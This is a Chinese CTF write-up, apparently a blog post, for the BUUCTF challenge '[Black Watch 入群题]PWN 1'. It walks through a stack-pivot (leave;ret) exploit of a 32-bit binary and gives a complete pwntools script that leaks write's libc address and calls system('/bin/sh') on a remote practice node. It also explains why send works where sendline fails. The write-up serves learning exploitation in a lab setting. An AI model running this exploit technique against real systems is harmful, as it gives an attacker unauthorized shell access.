buu [Black Watch 入群题]PWN 1

1.checksec

在这里插入图片描述

2.ida

在这里插入图片描述
在这里插入图片描述
程序的逻辑是先输出一段话m1:Hello good Ctfer!
What is your name?
再向s中输入0x200的数据,再输出一段话m2:What do you want to say? 然后再向buf中读入0x20的数据

点进s中发现s位于bss段中,再查看buf发现buf距离ebp的长度为0x18,shift+f12也没有发现什么后门函数和/bin/sh,如果要栈溢出的话最多只能覆盖一个返回地址不能直接libc,这个时候我们应该想到应用栈迁移,而且可以将栈迁移到s那里的bss段中去,所以我们先记下s处的地址0x804A300,(令bss=0x804A300)这样我们可以在读入buf进行栈溢出时将ebp处的值覆盖为bss-4,为什么要减4呢?我们后面会说到。
读入s时我们会构造一个payload1=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)将其读入s中(也就是bss处)
为什么要这样构造呢?我们后面也会说到。

先使用命令ROPgadget --binary 13 --only 'leave|ret’找到leave;ret指令
在这里插入图片描述
记下该地址,令lea_ret=0x08048511,这条指令很重要。

leave和ret相当于
mov esp,ebp;
pop ebp;

pop eip;

第一次main

1.第一次向s中读入payload1=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
2.第二次向buf中读入payload2=b’a’*0x18+p32(bss-4)+p32(lea_ret)

第一次leave;ret

后面我们栈溢出覆盖返回地址的时候要将返回地址覆盖为lea_ret,这样在程序正常执行到leave;ret的时候,先mov esp ebp,将esp拉到ebp的位置,前面ebp处的值已经被覆盖为了bss-4,但ebp的位置还没有发生变化(前面只是将ebp处的值改变而ebp本身还没有变),然后esp也在ebp所处的这个位置,然后pop ebp,将bss-4这个地址赋给ebp,就是这个时候ebp才会发生变化跑到bss+4那里去,这时还会执行esp+4,esp就会指到我们向buf中读入的返回地址lea_ret去,再pop eip,将该返回地址lea_ret弹到eip中去这样程序就会转到lea_ret处去执行该命令,到这里第一次leave;ret完成。

第二次leave;ret

通过前面第一次leave;ret已经将ebp指向了bss-4的地方,这次执行leave;ret时首先会mov esp ebp;将esp拉到ebp(bss-4)这个地方,然后pop ebp将bss-4的内容赋给ebp,这个时候ebp就不知道知道哪去了(可以不用管ebp了),然后再会将esp+4,这样esp就指到了bss处,此时会执行pop eip,因为前面我们在这个地方已经构造好值了,说以从前面将payload1=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)将其读入bss处可知其会将"write_plt"pop到eip中去也就是下一步会执行write函数,payload1后面main是write的返回地址再后面是它的参数,也就是现在会将write的真实地址打印出来,这个时候可以先将它接收了,因为这个时候程序跳回到main,然后又会让你输入,此时应是处于软中断状态(差不多就是停下来让你输入),所以可以趁现在将write的真实地址接收了,然后计算出system与/bin/sh的地址。

第二次main

与第一次main差不多,第一次main的目的是利用栈迁移打印write的真实地址,因为前面system和/bin/sh的地址已经有了,所以这次main的目的是直接跳转到system执行system(“/bin/sh”);和上次main一样这次我们向s读入数据时可以构造一个payload3=p32(sys)+p32(0)+p32(binsh)将其读入。
第二次向buf中读数据时我们还是将payload2=b’a’*0x18+p32(bss-4)+p32(lea_ret)读入
到这里思路就完了,接下来上exp!

exp

from pwn import*
context(os = 'linux',arch = 'i386',log_level = 'debug')
p=remote('node5.buuoj.cn',29951)
elf=ELF('./13')
bss=0x804A300
lea_ret=0x08048511
pop3_ret=0x080485a9
write_plt=elf.plt['write']
write_got=elf.got['write']
read_plt=elf.plt['read']
main=elf.sym['main']
payload1=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload1)
payload2=b'a'*0x18+p32(bss-4)+p32(lea_ret)
p.send(payload2)

p.recvuntil('to say?')
write_addr=u32(p.recv(4))
libc=ELF('./ubantu1632.so')
libcbase=write_addr-libc.sym['write']
sys=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))

payload3=p32(sys)+p32(0)+p32(binsh)
p.sendline(payload3)
p.sendline(payload2)
p.interactive()

刚开始按这个思路写exp的时候发现打不通,后来将其稍微做了一处改动就可以了,相信你们也发现了,就是第一次main时发送payload2时用的是p.send(payload2)而不是p.sendline(),这两不就是在发送数据时差了一个换行符’\n’吗?这是因为此时的write函数是向buf中读入0x20的数据,而payload2的大小正好是0x20,所以如果再发送一个换行符’\n’,换行符’\n’就会留在输入缓冲区中等待被下一个输入读取,然后后面第二次main读入s时就会直接将s赋为‘\n’而不会将payload3赋给s。
昨天我们3个人从10点讨论这个题为什么不能用sendline都讨论到快11点了,宿舍11点熄灯关门,我们才在从实验室回公寓的路上讨论出来。
这个问题还可以从一个c程序中试验出来:

#include<stdio.h>
#include<io.h>
int main()
{
	char a[5];
	char b[5];
	_read(0,a,5);
	_write(1,a,5);
	_read(0, b, 5);
	printf("%c", b[0]);
	return 0;
}

在该程序中如果你先随便输入5个字符,然后再按回车,不等第二个read函数读入b就会直接结束,然后就会发现运行结果输出完a中的5个数据后,会再输出一个回车(换行符)而这个换行符其实是被第二个read函数直接从输入缓冲区读入到b[0]中,然后printf再将它打印出来。这样也就能理解上面为什么用send而不用sendline了。

  • 19
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值